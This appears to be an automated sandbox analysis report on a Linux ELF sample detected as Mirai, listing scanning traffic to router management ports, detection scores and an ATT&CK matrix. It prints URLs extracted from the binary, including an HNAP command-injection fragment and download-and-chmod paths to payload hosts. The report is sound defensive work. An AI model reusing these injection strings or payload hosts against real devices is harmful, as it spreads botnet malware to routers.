Source: unknown	Network traffic detected: HTTP traffic on port 41780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56892 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36568 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60928
Source: unknown	Network traffic detected: HTTP traffic on port 60932 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36578 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36568
Source: unknown	Network traffic detected: HTTP traffic on port 55284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60932
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60854
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36578
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 55284
Source: unknown	Network traffic detected: HTTP traffic on port 53198 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54322 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 42780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40256 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48574 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36180 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46872 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40256
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48574
Source: unknown	Network traffic detected: HTTP traffic on port 60442 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36216 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55288 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48586
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40264
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 55288
Source: unknown	Network traffic detected: HTTP traffic on port 60462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60442
Source: unknown	Network traffic detected: HTTP traffic on port 55418 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47116 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60462
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47122 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47116
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47122
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47116
Source: unknown	Network traffic detected: HTTP traffic on port 56362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33068 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54322 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42086 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 56508 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47906 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48974 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47918 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40794 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46418 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50842 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40574 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48222 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 35074
Source: unknown	Network traffic detected: HTTP traffic on port 36240 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52654 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40578 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 40574
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36250 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52664 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40588 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51412 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47648 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42626 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 55762
Source: unknown	Network traffic detected: HTTP traffic on port 47734 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47648
Source: unknown	Network traffic detected: HTTP traffic on port 39192 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37516 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33808 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40588 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38528 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33814 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47734
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53866 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37496 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38044 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44440 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60640
Source: unknown	Network traffic detected: HTTP traffic on port 60658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60658
Source: unknown	Network traffic detected: HTTP traffic on port 51374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51950 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51374
Source: unknown	Network traffic detected: HTTP traffic on port 51996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43242 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 38116
Source: unknown	Network traffic detected: HTTP traffic on port 38160 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56968 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60138 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43920 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51420
Source: unknown	Network traffic detected: HTTP traffic on port 46326 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 38160
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55880
Source: unknown	Network traffic detected: HTTP traffic on port 42876 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49640 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49654 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59240 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49638 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35246 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35230
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54322 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53342 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35246
Source: unknown	Network traffic detected: HTTP traffic on port 43174 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55902
Source: unknown	Network traffic detected: HTTP traffic on port 53354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36630 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37572 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36202 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54094 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 40698
Source: unknown	Network traffic detected: HTTP traffic on port 40804 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 40804
Source: unknown	Network traffic detected: HTTP traffic on port 49638 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36640 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34980 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32848 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42804 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41332 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52718 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56238 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38734 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 55888
Source: unknown	Network traffic detected: HTTP traffic on port 55902 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 38750 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38734
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 55902
Source: unknown	Network traffic detected: HTTP traffic on port 48302 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47402 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36816 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45666 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37680 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56028 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41332 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38750
Source: unknown	Network traffic detected: HTTP traffic on port 48354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47458 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41350 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 41332
Source: unknown	Network traffic detected: HTTP traffic on port 34398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36870 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56086 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44992 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44934
Source: unknown	Network traffic detected: HTTP traffic on port 40592 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 41350
Source: unknown	Network traffic detected: HTTP traffic on port 44664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45354 -> 52869

Source: x86.elf	Submission file: segment LOAD with 7.7251 entropy (max. 8.0)
Source: x86.elf	Submission file: segment LOAD with 7.8983 entropy (max. 8.0)

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5465)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5466)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5467)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5468)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5469)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5470)	Queries kernel information via 'uname':	Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Link
x86.elf	17%	Virustotal	Browse
x86.elf	21%	ReversingLabs
x86.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd	0%	Avira URL Cloud	safe
http://213.232.235.166/mips;)	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://213.232.235.166/mips;	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse
http://213.232.235.166/mips;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://185.10.68.127/mips	100%	Avira URL Cloud	malware
http://213.232.235.166/mips;	9%	Virustotal		Browse
http://213.232.235.166/mips;chmod	7%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://185.10.68.127/mips	7%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:7547/UD/act?1	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://213.232.235.166/mips;)	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	x86.elf	false		high
http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false	Avira URL Cloud: safe	unknown
http://213.232.235.166/mips;	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false		high
http://213.232.235.166/mips;chmod	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.10.68.127/mips	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
122.40.141.205	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
181.189.142.200	unknown	Guatemala	23243	COMCELGUATEMALASAGT	false
206.81.117.10	unknown	United States	8046	NAPANETUS	false
30.42.96.59	unknown	United States	7922	COMCAST-7922US	false
41.108.48.181	unknown	Algeria	36947	ALGTEL-ASDZ	false
101.166.177.1	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
185.56.130.9	unknown	Germany	25291	SYSELEVENSysElevenGmbHDE	false
197.141.53.62	unknown	Algeria	36891	ICOSNET-ASDZ	false
126.142.188.146	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
188.212.225.230	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
197.193.232.120	unknown	Egypt	36992	ETISALAT-MISREG	false
24.45.250.75	unknown	United States	6128	CABLE-NET-1US	false
213.37.142.145	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
170.115.104.32	unknown	United States	11205	CITY-OF-PHILADELPHIAUS	false
178.86.249.223	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
147.151.0.100	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
185.78.207.85	unknown	United Kingdom	8426	CLARANET-ASClaraNETLTDGB	false
209.57.53.92	unknown	United States	54468	CHMCAUS	false
41.197.85.112	unknown	Rwanda	36934	Broadband-Systems-CorporationRW	false
19.170.187.71	unknown	United States	3	MIT-GATEWAYSUS	false
162.196.91.97	unknown	United States	7018	ATT-INTERNET4US	false
100.174.242.82	unknown	United States	21928	T-MOBILE-AS21928US	false
75.41.107.15	unknown	United States	7018	ATT-INTERNET4US	false
99.239.140.176	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
60.194.199.186	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
54.169.159.62	unknown	United States	16509	AMAZON-02US	false
108.103.30.86	unknown	United States	10507	SPCSUS	false
176.112.37.12	unknown	Russian Federation	51592	ASSVIFTTELECOMRU	false
181.11.124.53	unknown	Argentina	7303	TelecomArgentinaSAAR	false
181.104.232.174	unknown	Argentina	6147	TelefonicadelPeruSAAPE	false
170.74.23.37	unknown	United States	16761	FEDMOG-ASN-01US	false
84.151.191.54	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
151.59.166.27	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
162.212.106.120	unknown	United States	46887	LIGHTOWERUS	false
166.205.98.139	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
181.19.238.204	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
155.57.210.174	unknown	United States	26940	LEVI-STRAUSS-COUS	false
170.201.22.69	unknown	United States	10995	PNCBANKUS	false
181.31.213.47	unknown	Argentina	10318	TelecomArgentinaSAAR	false
223.68.161.162	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
156.3.253.168	unknown	United States	2920	LACOEUS	false
178.121.229.69	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
44.239.76.123	unknown	United States	16509	AMAZON-02US	false
101.249.131.17	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
101.151.91.3	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
181.31.213.32	unknown	Argentina	10318	TelecomArgentinaSAAR	false
109.16.10.231	unknown	France	15557	LDCOMNETFR	false
101.40.10.188	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
101.3.51.158	unknown	Taiwan; Republic of China (ROC)	131584	TAIFO-AS-TWTaiwanIntelligentFiberOpticNetworkCoLtd	false
195.236.51.178	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
170.187.70.97	unknown	United States	7018	ATT-INTERNET4US	false
164.42.74.211	unknown	Puerto Rico	16649	IUPR-ASPR	false
176.68.84.118	unknown	Sweden	1257	TELE2EU	false
31.147.170.189	unknown	Croatia (LOCAL Name: Hrvatska)	2108	CARNET-ASJMarohnica510000ZagrebHR	false
31.133.168.250	unknown	Switzerland	51290	HOSTEAM-ASPL	false
109.114.39.30	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
157.141.227.82	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
58.222.189.197	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
89.19.50.207	unknown	United Kingdom	61317	ASDETUKhttpwwwheficedcomGB	false
123.224.18.121	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
85.218.82.240	unknown	Switzerland	34781	SIL-CITYCABLE-ASCH	false
101.91.135.117	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
119.49.253.11	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
160.246.122.53	unknown	Japan	7687	D-CRUISENETTOYOTADIGITALCRUISEINCORPORATEDJP	false
213.138.15.239	unknown	France	12684	SES-LUX-ASLU	false
75.90.52.140	unknown	United States	7029	WINDSTREAMUS	false
62.244.130.111	unknown	Poland	12741	AS-NETIAWarszawa02-822PL	false
104.49.144.178	unknown	United States	7018	ATT-INTERNET4US	false
13.254.105.144	unknown	United States	16509	AMAZON-02US	false
53.82.186.169	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
241.107.220.247	unknown	Reserved	unknown	unknown	false
167.196.32.127	unknown	United States	2897	GEORGIA-1US	false
183.151.207.174	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
188.186.92.231	unknown	Russian Federation	41682	ERTH-TMN-ASRU	false
62.81.118.98	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
62.208.124.173	unknown	United Kingdom	4445	CWI-ASUS	false
209.111.81.117	unknown	United States	5006	VOYANTUS	false
24.31.4.231	unknown	United States	40285	NORTHLAND-CABLEUS	false
213.98.244.237	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
160.131.108.167	unknown	United States	8103	STATE-OF-FLAUS	false
178.185.163.13	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
72.61.141.42	unknown	United States	10507	SPCSUS	false
135.8.206.145	unknown	United States	18676	AVAYAUS	false
210.42.148.55	unknown	China	24358	CNGI-WH-IX-AS-APCERNET2IXatHuazhongUniversityofScienc	false
170.165.147.46	unknown	Singapore	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
203.156.118.181	unknown	Thailand	45455	TH-2S1N-APTwoSOneNCoLtdInternetServiceProviderand	false
178.121.229.23	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
33.159.5.255	unknown	United States	2686	ATGS-MMD-ASUS	false
221.98.182.170	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
169.108.151.17	unknown	United States	37611	AfrihostZA	false
219.38.183.149	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
204.97.19.35	unknown	United States	1239	SPRINTLINKUS	false
160.93.127.109	unknown	United States	394417	AS-SONJUS	false
164.183.197.34	unknown	United States	37717	EL-KhawarizmiTN	false
194.50.184.169	unknown	unknown	203025	INFOCLOUD-ASMD	false
